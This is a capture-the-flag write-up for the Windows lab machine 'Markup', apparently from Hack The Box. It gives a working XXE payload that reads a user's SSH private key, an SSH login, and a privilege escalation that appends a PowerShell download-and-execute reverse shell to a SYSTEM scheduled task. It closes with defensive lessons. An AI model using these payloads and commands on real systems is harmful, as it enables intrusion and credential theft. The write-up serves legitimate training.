TL;DR
Markup is a Windows web app with an order form that parses XML without disabling external entity processing. Classic XXE reads C:\Users\daniel\.ssh\id_rsa — the SSH private key for the daniel account. SSH in as daniel. A writable job.bat in C:\Log-Management runs as SYSTEM on a schedule — appending a PowerShell reverse shell to it gives SYSTEM access when the task fires.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
22/tcp open ssh OpenSSH for_Windows_8.1
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41
2. Web application
The application is a furniture/order management portal. Credentials from source or enumeration: admin:password.
After login, an order form submits XML data.
XXE Exploitation
3. Capture and modify order request
Intercept the order submission with Burp. The POST body:
<?xml version="1.0" encoding="UTF-8"?>
<order>
<quantity>1</quantity>
<item>Computer Chair</item>
<address>123 Test St</address>
</order>
4. XXE payload — read SSH key
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [<!ENTITY xxe SYSTEM "file:///C:/Users/daniel/.ssh/id_rsa">]>
<order>
<quantity>1</quantity>
<item>&xxe;</item>
<address>123 Test St</address>
</order>
Response contains the RSA private key — entity is reflected in the item field of the order confirmation.
5. SSH as daniel
$ chmod 600 id_rsa
$ ssh -i id_rsa daniel@10.129.x.x
daniel@MARKUP C:\Users\daniel> type Desktop\user.txt
[user flag]
Privilege Escalation
6. Enumeration
daniel@MARKUP C:\> icacls C:\Log-Management\job.bat
C:\Log-Management\job.bat BUILTIN\Users:(W)
NT AUTHORITY\SYSTEM:(F)
job.bat is writable by all users. It runs as SYSTEM.
daniel@MARKUP C:\> schtasks /query /fo LIST /v | findstr "Task\|Run As\|Next Run"
TaskName: \Log Management
Run As User: SYSTEM
Next Run Time: (runs frequently)
7. Append reverse shell to job.bat
daniel@MARKUP C:\> echo C:\Windows\System32\cmd.exe /c powershell -nop -w hidden ^
-c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.x/rev.ps1')" ^
>> C:\Log-Management\job.bat
rev.ps1 is a standard PowerShell reverse shell hosted on the attacker’s HTTP server.
After the scheduled task fires:
# nc -lvnp 4444
connect to [10.10.14.x] from [10.129.x.x]
whoami
nt authority\system
type C:\Users\Administrator\Desktop\root.txt
[root flag]
What’s actually broken
| # | Vulnerability | Severity |
|---|---|---|
| 1 | XXE — external entity processing enabled in XML parser | Critical |
| 2 | SSH private key accessible to web server process | High |
| 3 | Writable scheduled task script (world-writable job.bat) | Critical |
| 4 | Scheduled task running as SYSTEM unnecessarily | High |
Lessons learned
- Disable external entity processing in every XML parser. PHP:
libxml_disable_entity_loader(true). Java:factory.setFeature("http://xml.org/sax/features/external-general-entities", false). XXE is one of the OWASP Top 10 precisely because it’s easy to miss — the parser “feature” is on by default. - SSH keys belong in protected locations.
C:\Users\daniel\.ssh\id_rsashould only be readable by Daniel, not world-readable (or readable via a web process with broader file permissions). - Writable scripts in scheduled tasks = instant privilege escalation. Any script that SYSTEM runs should be owned by Administrators and not writable by lower-privilege accounts.
- XXE reads files in the context of the web server process. The web process needed to be able to read
id_rsafor the exploit to work — a separate issue from the XXE itself.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Targeted SSH key via XXE directly | SSH on port 22 suggested key-based auth; faster than brute-forcing | Got shell immediately |
| Appended to job.bat vs overwriting | Overwriting might break the script’s original functionality, alerting defenders | Append preserved original script; payload still executed |
| Waited for scheduled task vs triggering manually | Task permissions didn’t allow manual trigger as daniel | Had to wait ~2 minutes |
| Tried reading web.config via XXE before SSH key | XXE payload file:///C:/inetpub/wwwroot/web.config → blank entity in response — file existed but IIS user lacked read permission on web.config in that path | Read C:/Users/daniel/.ssh/id_rsa instead — file readable by web process, contained private key directly |